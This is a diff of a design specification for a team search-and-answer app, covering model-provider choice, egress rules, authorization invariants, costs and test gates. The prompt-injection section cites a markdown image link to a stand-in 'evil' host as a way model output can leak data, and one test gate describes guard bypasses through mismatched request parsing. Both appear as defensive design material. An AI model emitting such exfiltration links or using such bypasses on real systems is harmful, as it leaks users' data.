+live catalogue proves the concern rather than merely suggesting it: it
+lists `deepseek/deepseek-v4-pro` and `deepseek/deepseek-v4-pro-0813` side
+by side** — the same model as a bare alias and as a dated snapshot, which
+is exactly the shape the rule is about, in this vendor's own inventory
+(`GET /v1/models`, 2026-09-05).
+
+**Only two families offer a dated id at all.** DeepSeek
+(`v4-pro-0813`, `v4-flash-0731`, `r1-0528`) and one Qwen
+(`qwen3-235b-a22b-2507`). Every Kimi, GLM and MiniMax id is a bare name —
+`kimi-k3` exists, but no `kimi-k3-<date>` does. So pinning Kimi would make
+gate 30's canary load-bearing, and pinning DeepSeek does not.
+
+**Both tiers are therefore DeepSeek:** `model.cheap` is
+`deepseek/deepseek-v4-flash-0731` and `model.frontier` is
+`deepseek/deepseek-v4-pro-0813`. Confirmed by Paul on 2026-09-05.
+
+**Be exact about how much of that the rule decided.** It forced the move
+off two undated ids. It did *not* force DeepSeek twice: the survey above
+lists a dated Qwen (`qwen3-235b-a22b-2507`), so a two-lab pair satisfies
+the rule equally. Choosing DeepSeek for both is a judgement about price,
+recency and family coherence — defensible, and **made without putting the
+Qwen option in front of Paul**, which §13 records rather than quietly
+keeps.
+
+**The concentration gets a stated response, not just a note.** Both tiers
+are now one lab as well as one host, so a DeepSeek withdrawal moves both at
+once. Name the fallback now — `qwen/qwen3-235b-a22b-2507` for the frontier
+tier, `z-ai/glm-5.3-flash` for the cheap one with gate 30 carrying it — so
+a withdrawal is a config change through §Review on a normal day rather than
+a research task on a bad one.
+
+**The canary is not demoted, and an earlier draft of this section demoted
+it wrongly.** At first configuration, embed a fixed set of public,
+non-content sentences — not team content, so §3.2 is untouched — seal the
+vectors, re-embed on wake, and **state an anomaly when cosine drift exceeds
+a stated ε**. Gate 24, covering all three pinned ids, and §11's sentence
+stands unamended: it is the only thing standing between a stable id and a
+silent swap.
+
+**A dated id at a reseller pins a label, not a behaviour.** DeepSeek does
+ship dated release artefacts, so `-0813` plausibly names lab weights — but
+TensorX did not train them, §13 records that id immutability *at TensorX*
+is unread, and everything short of the weights that moves a chat model's
+output is theirs to change under an unchanged id: quantisation, chat
+template, sampling defaults, context truncation. A dated id buys a name to
+print on an answer. It does not buy a detector.
+
+**`openrouter/auto` is disqualified**, and so is anything shaped like it.
+It selects by trailing-7-day community spend, changes weekly, and cannot be
+attributed — failing AGENTS.md §Review's "record which model" and decision
+4's naming requirement. State the rule generally, because a router is not
+the only thing that breaks it: **a model id that can change under a team
+without that team changing it cannot be printed on an answer.** A floating
+alias is disqualified on identical grounds, which is why the two config
+names hold ids and not tiers — pinned where the catalogue permits it, and
+canaried where it does not.
+
+**Noted against ourselves:** OpenAI's dated snapshots satisfy this rule
+more cleanly than the catalogue §8.3 selects. That is a real cost of the
+provider choice, and §8.3 records it as one rather than talking past it.
### 8.3 Egress
@@ -1731,17 +2360,100 @@ Per decision 4: one provider, fixed by the team owner, named on every
answer, disclosed in the README's first paragraph, opt-in per team, with
§8.1's floor working when it is off.
-**This qualifies Docs §11.2**, which rejected third-party conversion APIs
-for shipping "customer documents to a third party, contradicting §2". The
-comparison must be like with like: Docs rejected whole-document egress,
-and per §3.2 **memoria's embedding ingest is also whole-corpus egress**,
-not merely answer-time top-k. Draft 1 compared Docs' whole documents
-against memoria's retrieved passages, which flattered memoria. The real
-difference is opt-in, naming, and the AI-off floor. **It is not a
-difference in what the provider sees, nor now in how much.**
-
-Because Docs is a separate repo, the qualification must be recorded there
-too, or the two specs contradict — §13.
+**The provider memoria supports is TensorX** (`api.tensorx.ai`) —
+open-weight models served on EU infrastructure in Dublin, Helsinki and
+Paris, with **advertised** zero retention. Advertised: no account exists,
+no terms have been read, and §3.6 tells the reader we cannot verify a
+retention promise. That sentence keeps saying so.
+
+**The provider is not team-configurable**, ruled by Paul on 2026-09-04.
+Supporting one is a code change; a team owner's choice is on or off. This
+is narrower than decision 4's "fixed by the team owner", and deliberately:
+a configurable base URL on an OpenAI-compatible client would let an owner
+point memoria at a proxy while the answer still printed "one named
+provider", which is the failure this whole section is about. Decision 13
+records it.
+
+**Swapping later is cheap on one side and not the other.** Generation is
+one client, one base URL and two model ids, through code and §Review, where
+the two-parties question gets asked again. **Embeddings are a third id and
+the expensive one:** a new host that serves the same open `qwen3-embedding-8b`
+weights yields compatible vectors and costs a migration, and any other host
+costs a re-embed of the whole corpus — 24M tokens at an unmeasured
+wall-clock (§13). Saying "swapping stays cheap" without that split would
+contradict §13 two pages later.
+
+**Why this one, honestly stated.** Not because it beats OpenRouter and
+OpenAI on decision 4's own words — on one half of them it loses:
+
+- **Fewer parties, not one party.** OpenRouter is a proxy, so the proxy and
+ the upstream that runs the weights both see content, and "one named
+ provider" would be naming one of two. TensorX **presents as** running the
+ weights it serves — no proxy is interposed that we can see, and the one
+ probe that could have shown otherwise returned 403 rather than an
+ embedding. **That is weaker than it reads.** A 403 is a refusal, not a
+ not-found, it was one key's refusal, and the probe had no control: nobody
+ asked what a *nonsense* model id returns. If a made-up name 404s while
+ `text-embedding-3-small` 403s, then that name is in their routing table
+ and the probe found exactly the thing it was built to find, merely gated.
+ §13 carries the two control calls that separate the readings; until they
+ run this is a presentation, not a fact.
+ Beyond it, **one contractual counterparty is not one organisation seeing
+ the corpus**: a vendor this young on infrastructure in three cities is
+ plausibly renting it, and a subprocessor sees content in exactly the
+ sense §3.2 means. That is a DPA question and the DPA is unread (§13).
+ The claim is *narrowed*, not *closed*, and §13's item says so.
+- **Named weights — partially.** §8.2's requirement, met by a namespaced
+ catalogue, but only `deepseek/deepseek-v4-pro-0813` and its like are
+ datestamped. On id-pinning **OpenAI's dated snapshots are strictly
+ better**, and §8.2 records that against us.
+- **Open weights, which decision 4 never asked for.** Any host serving the
+ same `qwen3-embedding-8b` produces compatible vectors, so the vendor
+ failing is a *re-host*, not a re-embed of the corpus — see §13. Self-
+ hosting stays reachable (§12). This is the strongest argument here and it
+ is not a decision-4 argument at all.
+- **EU jurisdiction**, likewise not a decision-4 criterion.
+
+**So the honest record is:** TensorX was chosen for sovereignty and open
+weights — criteria Paul added on 2026-09-04, not criteria decision 4 stated
+— at a known cost in id-pinning and in frontier answer quality (§8.2, §13).
+Going direct to OpenAI satisfies decision 4's letter at least as well: one
+counterparty, pinnable dated ids, zero-retention obtainable on request, and
+the subprocessor point cuts both ways since it runs on Azure. It loses on
+jurisdiction, on open weights, and on cost. Written that way the choice
+stands; written as "TensorX wins on decision 4" it would be false.
+
+**What it does not change.** This is still whole-corpus egress at ingest,
+and §3.2's leak list is unaltered: a provider that sees the corpus sees the
+corpus, whatever its jurisdiction. EU jurisdiction and zero retention
+constrain what may lawfully be done with the content *after* it arrives —
+the first thing on this page that constrains anything — but they do not
+reduce what is sent, and a retention term is a promise we cannot verify
+(§3.6 says so to the reader and should keep saying it). Decision 5's AI-off
+floor remains the only configuration in which nothing leaves.
+
+**The rule is suite §8's, not memoria's**, and this spec cites it rather
+than qualifying another app's:
+
+> Egress that is a property of the product is forbidden. Egress that is
+> per-team opt-in, to one named recipient, disclosed in the README's first
+> paragraph and on every artefact it produced, with a working floor when it
+> is off, is admissible.
+
+That one sentence replaces what stood here — a qualification of Docs §11.2
+written from memoria's side — and Docs cites the same sentence rather than
+its own wording (A.2, merged 2026-09-05 as `6797bbf`). **This is how
+`oficina/docs` discussion 33 closed:** it asked for the boundary of Docs'
+rejection to be recorded rather than the rejection reversed, and a shared
+sentence records it once instead of twice in two repos that then drift.
+
+**What memoria still has to say for itself**, because the doctrine states
+the rule and not our position under it: per §3.2, **memoria's embedding
+ingest is whole-corpus egress**, not merely answer-time top-k. Draft 1
+compared Docs' whole documents against memoria's retrieved passages, which
+flattered memoria. Under suite §8 the difference is opt-in, naming, and the
+AI-off floor. **It is not a difference in what the provider sees, nor in
+how much.**
**A "model call ledger" is content.** Any runtime record of prompts holds
retrieved passages, so it falls under §3.2's log rule and §5.2's
@@ -1758,10 +2470,81 @@ list; every sentence carries a passage id from it, and a sentence citing
nothing is dropped before render. **If every sentence is dropped, say
so** — an empty paragraph is indistinguishable from AI being off.
+#### The invariant, which is the part that binds
+
+> **Every passage in a response, and every passage in a model prompt,
+> passed §4.1 in the request that produced it. Nothing memoria holds, and
+> nothing it accepts from the client, carries a passage across requests.**
+
+This is decision 3 applied to rendering, and §8.5 already states its other
+half — *"authorization runs before the model exists"*. It is a rule about
+what may enter a response or a prompt **per request**. It says nothing
+about interface shape, and it is enforceable: gates 17 and 26.
+
+What it forbids is **re-speaking**. A surface that puts previously
+retrieved passages back into a model prompt, re-renders them server-side,
+or stores them in a transcript row is memoria speaking those passages
+again, at a moment when nobody has asked whether this person may still see
+them. Carrying *query text* forward is not re-speaking and is not
+forbidden: retrieval and S2 then run from scratch, which is the whole point
+of retrieval being free (§8.2).
+
+**An earlier draft of this section argued the case badly, and the argument
+is worth recording as wrong.** It said a chat transcript is a cache of
+authorized passages because turn 1's snippets sit on screen while turn 4 is
+asked. That proves too much: it is equally true of a search results page
+left open in a tab, and of `/documents/{id}`, which renders a whole
+document's passages and stays open as long as the reader likes. **A
+rendered page is a copy in a browser and memoria's revocation never reaches
+it** — true of every page here, chat or not, and now recorded as such in
+§3.2 rather than argued from here. The draft also claimed re-authorizing a
+transcript would breach §6.5's deadline. It would not: §4.1 batches 256
+pairs per call and §6.5 makes a page one round of concurrent calls, so a
+four-turn transcript of eight passages is 32 pairs — one batch, one round,
+the same floor as a fresh query. **A correct chat is affordable under this
+spec.** The invariant, not the latency, is what does the work.
+
+#### The shape, which is a product ruling and not a consequence
+
+**memoria is a search page: one GET search form, `?q=`, one query in and
+one page out**, with `/documents/{id}` as the only other passage surface.
+That follows from decision 5 — the search floor *is* the product — and not
+from decision 3, which a conversational surface could satisfy. Recorded as
+decision 14 — the spec author's ruling, in answer to a question Paul asked
+on 2026-09-04 and **confirmed by him on 2026-09-05**. A conversational
+surface that keeps the invariant above is not forbidden by this section; it
+is deferred by §12, where it can be argued on its merits rather than
+smuggled in as a corollary. Parking it there rather than ruling it out was
+the half that needed confirming, and it was confirmed explicitly.
+
+Two things this settles for now:
+
+- **A refined search is a new query.** Edit `?q=` and ask again; nothing
+ carries over, and nothing needs to.
+- **The 🤖 paragraph is disposable — today.** One paragraph above one list,
+ regenerated per query, stored nowhere; it is not a §5.2 derived artefact
+ and no runtime prompt record exists to fall under §8.3's ledger rule.
+ **Both halves expire if §12's cached-answers or model-call-ledger rows
+ trigger**, and this paragraph changes with them.
+
+**What slice 0 actually shipped is a subset of §8.1's floor**, not the
+floor: `index.html` renders source, title, ordinal, snippet and deep link,
+but **no 👨/🤖 marker, no date, and no pagination** — `Search(ctx, q, 25)`
+is a hard cap and nothing renders a second page. §9.1 also specifies
+`GET /query?q=` where the app serves `GET /?q=`. Three gaps and a path,
+listed rather than glossed.
+
+Hybrid, then, in the sense that matters: **the search page is the product
+and the answer is a garnish on it** (decision 5).
+
### 8.5 Prompt injection
-- **No tools.** memoria retrieves and answers. It never writes to a
- sibling and never fetches a URL at answer time.
+- **No tools.** memoria retrieves and answers. It **never writes to a
+ sibling at answer time** and never fetches a URL at answer time. Suite
+ §7's writes are not tools and are not on this path: the hand-off is a
+ person clicking a button after an answer is rendered, and S8 is memoria
+ filing its own material. Neither is reachable from a prompt, which is
+ what this bullet is about.
- **No remote loads in rendered answers.** `![](https://evil/?d=…)` is
exfiltration without a tool. Strip remote images; refuse links to
non-suite hosts.
@@ -1776,8 +2559,10 @@ so** — an empty paragraph is indistinguishable from AI being off.
On §7.2's measured corpus — 90k chunks, **24M tokens**:
-**Ingest:** 24M × $0.02/M (`text-embedding-3-small`) = **$0.48 once**;
-$3.12 on `-large`. Re-embed only changed chunks.
+**Ingest:** 24M × $0.02/M (`qwen/qwen3-embedding-8b`) = **$0.48 once**.
+Re-embed only changed chunks. The figure survives the move off
+`text-embedding-3-small` unchanged because the two list prices happen to
+match — a coincidence, not a reason to stop rechecking it.
This has been wrong twice, in opposite directions. Draft 1 priced 60M
tokens against a 90k-chunk corpus; draft 3 corrected to 36M by keeping the
@@ -1785,9 +2570,26 @@ tokens against a 90k-chunk corpus; draft 3 corrected to 36M by keeping the
from §7.2's measurement, and if that measurement moves so does this.
**Query:** retrieval is free. The generative layer sends ~8 passages plus
-instructions — ~5k tokens in, ~500 out. Cheap model ~$0.001–0.003;
-frontier ~$0.02–0.10. Five people × 20 queries/day × 22 days = 2,200
-queries: **~$5/month if most route cheap, ~$100 if most route frontier.**
+instructions — ~5k tokens in, ~500 out. Against the ids §8.2 pins:
+`deepseek/deepseek-v4-flash-0731` at $0.25/$0.30 per M is **~$0.0014 a
+query**, and `deepseek/deepseek-v4-pro-0813` at $2.00/$4.00 is
+**~$0.012**. Five people × 20 queries/day × 22 days = 2,200 queries:
+**~$3/month if most route cheap, ~$26 if most route frontier.**
+
+Read that against one baseline, because an earlier draft used two. Draft 3
+carried **~$5 cheap and ~$100 frontier** against a generic provider. So the
+frontier month fell about **4×** and the cheap month about **1.6×** —
+both moved, and the earlier claim that "the ceilings fell, the estimates
+did not" was true only of the intermediate glm/kimi pair and is now
+retired. Per query the cheap figure still sits inside the $0.001–0.003
+range this section always carried; the frontier one, at $0.012, has fallen
+below its $0.02–0.10 range rather than sitting in it.
+
+Most of that came from §8.2 pinning dated ids from one family, not from the
+provider switch, and none of it is a reason to route more queries to the
+frontier tier — §8.2's three model-free classes remain the design, and this
+section's closing sentence still holds.
+
Derived-artefact regeneration (§5.2) adds a synthesis-class call per
invalidated artefact and is unbudgeted until the feature exists.
@@ -1814,8 +2616,12 @@ second formatter as the same bug class one layer down.
`MAX`, `COUNT` — and never expression text, so memoria is not a formula
author and cannot grow into one. Rejected alternatives: memoria computing
and showing its working (a second calculator, arrived at one `mean` at a
-time); writing a formula into a scratch sheet (a write, forbidden by §6.4,
-and a citation that cites itself).
+time); writing a formula into a scratch sheet — **and note this rejection
+now stands on decision 10's own ground rather than on a write ban.** Suite
+§7's S8 permits memoria to write into a designated area, and a scratch tab
+is exactly that shape, so "forbidden by §6.4" is no longer the reason. The
+reason is decision 10 itself: a formula memoria authored is a calculation
+memoria owns, and a citation that cites itself.
**Chunking a spreadsheet**, which §13 carried as unsolved. Two chunk kinds
per tab:
@@ -2011,11 +2817,13 @@ memoria exposes exactly two surfaces:
path**, and a sibling presenting a connector token is refused: the two
credential sets are disjoint and separately scoped.
-**What the app actually serves, as of 2026-09-05.** Gate 17 is specified
-and **not implemented on this branch** — nothing walks the router in
-`internal/memoriatest`, so this list is guarded by nobody today. It is
-written down so that the gate, when it lands, is read from a list that
-matches the app rather than from memory:
+**What the app actually serves.** Gate 17 **is** implemented, as of
+2026-09-05 — `TestNoUndeclaredRoutes` walks the router's registrations
+and fails any this list does not name. main's copy of this paragraph
+said it was specified and not implemented, which was true of that
+branch and stopped being true on merge. The list stays written down
+anyway, because a gate read from a list that matches the app is worth
+more than one read from memory:
`GET /`, `GET /search`, `GET /documents/{id}`, `POST /documents`,
`POST /documents/{id}/delete`, the connector routes under
@@ -2032,6 +2840,25 @@ no passage the page did not already speak. It is not a second query
surface and not a step toward one; delete the script and nothing calls
it.
+**A hand-off whose sources include memoria-owned material is refused, and
+that is a real product cost.** Suite §7 lets a person hand an artefact to
+another app through their own session — "save this answer as a Doc" — but
+it requires the *receiver* to check every source with its app of record.
+For a passage from Docs or Sheets that works. For memoria's own uploads,
+Notion pages and forwarded mail (§4.2), **memoria is the app of record and
+serves nobody to ask**, because decision 7 gives it no sibling-facing
+surface. So the receiver cannot check, and the hand-off cannot complete.
+
+**Refused until a decision opens that surface**, rather than opened here by
+implication. Opening it means a new decision with its own §3.2 leak entry
+and its own gate, exactly as §12 requires of any consumer of memoria — and
+decision 7 is settled, so widening it is Paul's and not a corollary. The
+cost is concrete and belongs in front of him: **an answer built on the
+team's own uploads cannot be saved into Docs**, while one built purely on
+sibling passages can. That asymmetry will look like a bug to a reader long
+before it looks like a ruling. *(Raised by GPT-6's review of the doctrine,
+finding 3, via A.4.)*
+
**No feed. Nothing consumes memoria.** If something ever does, that is a
new decision with its own leak-list entry, not an endpoint left lying
around for it.
@@ -2250,6 +3077,35 @@ The gates:
17. **No sibling-facing endpoint exists.** Enumerate memoria's routes and
fail any inbound route not on the person-facing or connector list —
the regression gate for the push surface draft 1 shipped by accident.
+ **The list is literal, not descriptive:** `GET /`, `GET /documents/{id}`,
+ `POST /documents`, `POST /documents/{id}/delete`, plus the auth routes.
+ Written that way so that adding a thread or chat route goes red on the
+ way in (decision 14) rather than being argued about afterwards.
+ **Built 2026-09-04** as `TestNoUndeclaredRoutes`; **rewritten
+ 2026-09-05 after a review mutation-tested it and found the first
+ version blessing five idioms.** It keyed on path alone, so
+ `r.Route("/chat", …)` passed on the declared `"/"` inside it,
+ `r.With(mw).Post` was invisible because the receiver is a call rather
+ than an identifier, `r.Delete` passed on a path declared only for GET,
+ `r.Handle("/")` bound every method at once, and — worst —
+ `mux.HandleFunc("/documents", …)` served a **declared** path while
+ bypassing `requireSession`. It now keys on **method and path together,
+ which is what this list already declared**, and keeps the chi and
+ `ServeMux` namespaces apart. Eight mutations, each verified red and
+ reverted, are named in the test's own comment. It reads the AST, not a
+ grep. What it still does not catch: a route registered through a helper
+ outside `internal/memoria` and `cmd`, or on a receiver renamed away
+ from `r`/`mux`.
+ **A note on how the rewrite nearly went wrong.** Following an arbitrary
+ selector chain to find the receiver made `r.URL.Query().Get("err")`
+ resolve to `r`, and the gate reported two query parameters as
+ undeclared GET routes. `r` is the conventional name for a request as
+ well as a router. The chain now follows only chi's own chaining
+ constructors — caught by running it, not by reading it.
+ The declared list gained the five connector routes on 2026-09-06,
+ when this gate caught them arriving from main — which is the gate
+ working: five routes shipped and none could reach the app until
+ somebody wrote them down.
18. **External-source authorization and disclosure, against §4.2's two
facts.** Draft 4 said "governed by memoria's grants", which named a
table §4.2 says does not exist; a gate written from that sentence
@@ -2279,38 +3135,28 @@ The gates:
rather than asserted, failing when the measured footprint at the
stated chunk count exceeds the budget. §7's numbers were wrong twice
with no gate to notice.
-21. **Admission is relayed, not held, and a guest is not a member.** A
- person no sibling calls a member is refused; `UNKNOWN` from every
- sibling refuses rather than admits; `INDETERMINATE` never admits even
- when it is the only answer received; and **a person a sibling reports
- as `NOT_MEMBER` while holding an individual grant there is refused**,
- then confirmed to reach no memoria-owned document. **A sibling that
- has never heard of the person answers `NOT_MEMBER`, not `UNKNOWN`**,
- and a sibling answering about a *different* person ref than the one
- asked is `UNKNOWN`.
-
- **The cache, and draft 4's assertion could not fail.** It said "a
- person whose sibling flips to `NOT_MEMBER`" — but admission is an OR
- over the siblings, so with two fixtures the second still saying
- `MEMBER` keeps them admitted at 14 minutes *and* at 16, and the gate
- passes with no cache at all. The fixture must flip **the only sibling
- vouching for them**: one fixture answering `MEMBER`, the rest
- `NOT_MEMBER` throughout, then flip that one. Served at 14 minutes,
- refused at 16. And the session TTL is 12 hours rather than the
- framework's `DefaultSessionTTL` of 30 days.
-
- **The refresh-failure arm** (§4.3): make the only vouching sibling
- time out at minute 16. The request is **refused**, the session
- **survives**, and the next request retries — assert all three,
- because the failure this separates is "refuse the request" from
- "destroy the session", which draft 4 specified both ways.
-
- Mutation: drop the TTL override and the TTL assertion goes red;
- treat `INDETERMINATE` as `MEMBER` and the `INDETERMINATE` case does;
- serve the cached `MEMBER` on a failed refresh and the refresh arm
- does; **and flip a non-vouching sibling instead of the vouching one
- and the cache arm must stay green — which is the check that the
- fixture is the right one.**
+21. **Admission is read, not held.** A person absent from the roster is
+ refused, and an unreadable roster refuses rather than admits.
+ **Lone half built 2026-09-05** as `TestAdmissionRefusesANonOwnerAtVerification`;
+ **suite half owed** at slice 1, when admission becomes the home's
+ roster (suite call 8) rather than the owners list.
+ The built half asserts at the moment that decides, which is
+ **verification, not submission**: `rastrillo/auth`'s `admit` runs
+ `Config.Authorize` against the address it has just verified, after the
+ magic link is followed. So the gate sends a link while the address is
+ an owner and follows it through an app built with a different owners
+ list — an owner removed between asking for a link and clicking it — and
+ requires a 403 *and* no session cookie. Two-sided: the admitted case
+ must reach a session, or "no session" is satisfied by a broken link, a
+ mailer that never fired, or pending state that did not survive.
+ *This entry claimed until 2026-09-05 that "the fixtures change with the
+ prose". There were no fixtures. Nothing in `internal/memoriatest` had
+ ever asserted admission, so retiring S7 replaced nothing and the claim
+ described work that had not happened.*
+ **Falsified once, by the author, to prove it is not vacuous** — making
+ `Admits` return true for everyone turns it red on the session-cookie
+ assertion. **No author-chosen mutation set is recorded**, per §1.9: the
+ adversarial pass belongs to someone who did not write it, and is owed.
22. **Unit certification, and memoria is what certifies** (§8.7). Five
cases, and the first assertion in each is **that S6 was or was not
called**, because §8.7's ruling is that the refusals happen *before*
@@ -2434,8 +3280,14 @@ The gates:
memoria holds at 7, (b) holds no row at all for a second item, (c)
answers normally for the rest.
- - **`AHEAD`, not `NOT_VISIBLE`, for both (a) and (b)** — the no-row
- case included, which is the one that has no obvious home.
+ - **`AHEAD` for (a); `NOT_VISIBLE` for (b).** The no-row case is
+ `NOT_VISIBLE` and must be byte-identical to a private item's answer
+ — suite gate 3 — or S2 becomes an id-existence oracle. Draft 4 had
+ (b) as `AHEAD` and §4.1 records what overruling it costs. **Assert
+ the indistinguishability, not just the value:** ask about (b) and
+ about a known-private item in the same call and require the two
+ results to be equal, because asserting `NOT_VISIBLE` alone passes on
+ an implementation that answers it for different reasons.
- **Nothing is deleted**, and the source is marked for re-announce.
- **The empty-page assertion, which is the point of the gate.** Run a
query matching all 100 chunks with a page size of 50. The page
@@ -2466,8 +3318,81 @@ The gates:
numerically and keep 7 over 5 → the body assertion red. Map "no row"
to `NOT_VISIBLE` → the (b) case red, and note it would otherwise be
*silent*, which is what makes asserting it worth the trouble.
+28. **Every stored vector has L2 norm 1 ± ε.** Deterministic, and the
+ mutation is named: *skip the renormalise after §7.2's 4096→512
+ truncation, expect red.* Written this way on purpose — a gate phrased
+ over cosine similarity **could not fail**, because cosine divides by
+ the norms and is scale-invariant. §7.2 commits the search to a raw dot
+ product so that this gate bites.
+29. **Recall at 512 against recall at 4096**, on a named labelled query
+ set, above a stated fraction. **This gate cannot be written yet**: no
+ labelled set exists in the repo and `docs/BENCHMARKS.md` measures
+ latency only. Recorded here as owed, not as present — §13. Writing it
+ as a threshold over an unlabelled corpus would be gate 2's and gate 8's
+ mistake a third time.
+30. **Embedding-model canary.** A fixed set of public, non-content
+ sentences embedded at first configuration and re-embedded on wake;
+ cosine drift beyond a stated ε **states an anomaly** and does not
+ silently continue. This is what stands in for a datestamped id where
+ the catalogue offers none (§8.2), and the detector for §13's
+ single-model risk. The mutation is a substituted model id.
+31. **No provider response body is logged verbatim.** An OpenAI-compatible
+ 4xx can echo the input that caused it, so a provider error path is a
+ content path. Gate 4 covers our own log lines; this covers the bytes
+ the provider hands back.
+32. **Every passage id in a model prompt is one S2 returned `VISIBLE` for
+ in this same request.** Asserted on the prompt builder's input, not on
+ a table name or a schema grep — a grep for "transcript" would be a gate
+ written to pass, since the leak does not need a table. This is §8.4's
+ invariant and the only thing that stops a future surface re-speaking a
+ revoked passage. Mutation: hand the prompt builder one passage from a
+ previous request's result set, expect red. Slice 2.
+
+ **Draft 4's version of this gate could not fail, and the reason
+ outlives the call it was about.** Under S7, admission was an OR over
+ the siblings, and the fixture flipped *a* sibling to `NOT_MEMBER`
+ while another still answered `MEMBER` — so the person stayed admitted
+ at 14 minutes and at 16, and the gate passed with no cache at all. The
+ fix was to flip **the only vouching sibling**. A roster has no OR to
+ get wrong, so the specific bug is gone; the shape is not. **A fixture
+ that changes one of several sufficient conditions asserts nothing**,
+ and that is worth carrying into the suite half, where the roster's
+ epoch and the owners list are two independent doors.
---
+33. **An anonymous visitor cannot make this instance dial a domain of
+ their choosing.** Built 2026-09-05 as `TestSigninDoesNotDialForANonOwner`.
+ `POST /auth/begin` runs the admission predicate **before** rastrillo's
+ classifier resolves anything, so an unadmitted address produces no
+ outbound traffic at all — and the gate watches **DNS as well as HTTP**,
+ because the classifier resolves a TXT record first and only fetches
+ `.well-known/keymail` if that finds a delegation. A recorder watching
+ HTTP alone called a reserved-TLD address "no dial" while the process
+ had already asked the world about it.
+ **Two-sided on purpose:** the non-owner case asserts no dial *and* the
+ exact `?sent=1` destination, because a distinct rejection would make
+ the guard an owners-list oracle; the owner case asserts the dial does
+ happen, without which a guard that refuses everybody, an unwired auth,
+ a missing route and an uninstalled recorder are all green.
+ **The adversarial pass found the gate green over two live bypasses**,
+ not mutations but the shipped guard: `POST /auth/begin?a;b=1` with an
+ ordinary body reached the classifier, because the guard called
+ `ParseForm` and passed the request through on error while rastrillo's
+ `FormValue` ignores that error and uses what parsed; and an address
+ given only in the query string was invisible to the guard's
+ `PostFormValue` and visible to rastrillo's `FormValue`. **One mistake
+ twice: a guard that reads a request differently from the thing it
+ guards is not guarding it.** The guard now reads the address with the
+ same accessor and has no error branch, because `FormValue` has no
+ error to branch on. Three further green mutations closed with it —
+ `SigninPath` drifting from the guard's constant (now shared), dropping
+ `csrf.Protect` (cross-origin now answers identically for both), and a
+ nil predicate falling open (asserted).
+ **One residual stays open and §3.2 records it:** the guard sits in
+ front of signin's per-address rate limiter, so an owner and a stranger
+ are distinguishable after five submissions, and a refused address
+ consumes no per-IP budget either. The budget is inside signin and not
+ reachable from here; it closes with the upstream fix.
## 11. Sequencing
@@ -2479,30 +3404,51 @@ egress at all.** This is the design Docs §15 item 2 deferred for want of
one, so proving it unblocks Docs regardless of memoria's fate.
**Slice 1 — the sibling contract (§6) and §4.1.** One source app first —
-Docs, since it has bodies. S1–S4 **including S1a's closing marker and
-count**, **S7 with §4.3's member/guest distinction**, the per-asker gate,
-loud withholding, the circuit breaker with its durable counters, and
-§4.1's post-restore reconciliation — which is not an edge case to defer,
-because `AHEAD` without it is a slow leak of phantom chunks into every
-page's top-k (gate 27).
-Needs person refs, so gated on home §13 step 4. **Until that sibling can
-tell a member from a guest, S7 answers `INDETERMINATE` and only the
-configured owners are admitted** — slice 0's position, held one slice
-longer, which is the correct failure and not a workaround. Needs the
-drain to grow multi-host provisioning and three-phase rotation.
+Docs, since it has bodies. **S1–S3 from the contract module**, including
+S1a's closing marker and count; the per-asker gate; loud withholding; the
+circuit breaker with its durable counters; and §4.1's post-restore
+reconciliation, which is not an edge case to defer because a sibling that
+is behind, without it, is a slow leak of phantom chunks into every page's
+top-k. Needs the drain to grow multi-host provisioning and three-phase
+rotation. No S7: admission is §4.3's roster.
+
+**It is not gated on the home, and this spec said it was.** The dependency
+is on the **typed asker subject** (suite §3), not on person refs existing:
+in lone shape the subject is a lowercased address, and sibling tokens are a
+switch independent of the home token, so suite §12 steps 2 and 3 run
+against Sheets and Docs before any home exists. Corrected 2026-09-05 —
+memoria had been recording itself as blocked on something that was not in
+its way, which is a more expensive mistake than being blocked.
**Slice 2 — the model layer (§8).** Named provider, router,
-answer-above-citations, the §3.6 README, the Docs §11.2 qualification
-recorded in Docs. **This is the slice that turns on whole-corpus egress**,
+answer-above-citations, the §3.6 README. *No Docs §11.2 qualification is
+owed any more: §8.3 cites suite §8 and Docs cites the same sentence, which
+is how discussion 33 closed.* **This is the slice that turns on
+whole-corpus egress**,
so it does not land before its disclosure copy does.
+Four things enter with it rather than after, because each is cheap now and
+a silent wrong answer later: **the remaining live-key checks** §13 lists —
+the first round ran on 2026-09-05 and left the 403 and the batch size
+open; **gate 28**, which is
+deterministic and costs nothing; **a labelled query set**, without which
+gate 29 cannot be written at all; and **gate 30's canary**, which is the
+only thing standing between a stable model id and a silent weight swap.
+
**Slice 3 — external connectors (§5.1)** under §4.2, with least-privilege
credentials (§3.5) and gate 7.
-**Ship gate throughout:** home §13 step 4 before anything reaches a
-shared host. memoria depends on it more deeply than Sheets or Docs,
-because §4.1 needs a person ref on every query rather than only on grant
-rows.
+**Ship gate throughout, and it is shape-dependent.** In **lone shape**
+there is no home and none is needed: the asker subject is a lowercased
+address, sibling tokens are their own switch, and slices 0 to 2 run
+against Sheets and Docs without one. In **suite shape**, home §13 step 4
+gates **admission only** — call 8 and the roster (§4.3) — and never §4.1,
+which needs a typed subject and not specifically a person ref.
+
+*This paragraph said "home §13 step 4 before anything reaches a shared
+host … because §4.1 needs a person ref on every query", twelve lines below
+the correction that says the opposite. Both were written in the same
+commit. Fixed 2026-09-05; §1.9's lesson arriving inside the fix for §1.8.*
---
@@ -2514,11 +3460,13 @@ rows.
| ANN index (`coder/hnsw`) | Query latency exceeds ~200 ms, i.e. ~600k chunks at 512 dims — which §7.3 shows is *later* than the wake ceiling, not earlier |
| MCP adapter | The first consumer that speaks it |
| A feed surface on memoria | Something needs to consume memoria. A new decision, with its own leak-list entry |
+| **A source-of-record surface, so a hand-off can include memoria's own material** | Someone wants "save this answer as a Doc" to work for answers built on the team's own uploads. Suite §7 makes the *receiver* check every source with its app of record, and memoria serves nobody to ask (decision 7), so such a hand-off is refused today — §9.1. Opening it needs its own decision, its own §3.2 leak entry and its own gate, and it is Paul's: decision 7 is settled |
| Calendar as a source | Calendar has a spec and content; bodies off by default even then |
| Mail beyond forward-or-label | Never by sweep. A mail repo exists **and** a per-thread audience maps onto a team |
-| Cached answers | Query cost becomes visible. Requires §5.2's provenance invalidation first |
+| Cached answers | Query cost becomes visible. Requires §5.2's provenance invalidation first. **Triggering this expires §8.4's "stored nowhere"** |
+| A conversational surface | Someone wants one, and it keeps §8.4's invariant: no passage crosses a request, in a prompt or a response. Decision 14 chose the shape on decision 5's grounds, not decision 3's, so this is a product argument to have — not a rule to break. §6.5 affords it: a four-turn transcript re-authorizes in one batch, one round |
| A runtime model-call ledger | Someone needs to audit routing. Sealed and provenance-stamped when it lands (§8.3) |
